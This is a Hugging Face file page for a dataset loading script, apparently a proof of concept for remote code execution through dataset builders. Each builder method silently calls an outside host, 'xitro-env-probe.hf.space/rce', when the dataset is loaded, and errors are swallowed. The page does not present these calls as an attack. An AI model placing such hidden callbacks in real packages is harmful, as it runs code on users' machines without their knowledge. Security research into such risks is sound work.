Download rce-dataset-script.py from xitro/rce-dataset-script: direct link, hf CLI and curl.
- Browser
- Download file 1.26 kB
-
https://huggingface.co/datasets/xitro/rce-dataset-script/resolve/main/rce-dataset-script.py
- Command line
-
hf download hf://datasets/xitro/rce-dataset-script/rce-dataset-script.py
-
curl -L -o rce-dataset-script.py https://huggingface.co/datasets/xitro/rce-dataset-script/resolve/main/rce-dataset-script.py
1.26 kB
| import datasets | |
| import os, subprocess | |
| class RCEBuilder(datasets.GeneratorBasedBuilder): | |
| """RCE test dataset builder""" | |
| def _info(self): | |
| # Execute during class initialization - pre _generate_examples | |
| try: | |
| import urllib.request | |
| urllib.request.urlopen( | |
| "https://xitro-env-probe.hf.space/rce?src=dataset_builder_info", | |
| timeout=3 | |
| ) | |
| except: | |
| pass | |
| return datasets.DatasetInfo( | |
| features=datasets.Features({"text": datasets.Value("string")}) | |
| ) | |
| def _split_generators(self, dl_manager): | |
| try: | |
| import urllib.request | |
| urllib.request.urlopen( | |
| "https://xitro-env-probe.hf.space/rce?src=dataset_builder_split", | |
| timeout=3 | |
| ) | |
| except: | |
| pass | |
| return [datasets.SplitGenerator(name=datasets.Split.TRAIN)] | |
| def _generate_examples(self): | |
| try: | |
| import urllib.request | |
| urllib.request.urlopen( | |
| "https://xitro-env-probe.hf.space/rce?src=dataset_builder_generate", | |
| timeout=3 | |
| ) | |
| except: | |
| pass | |
| yield 0, {"text": "rce_test"} | |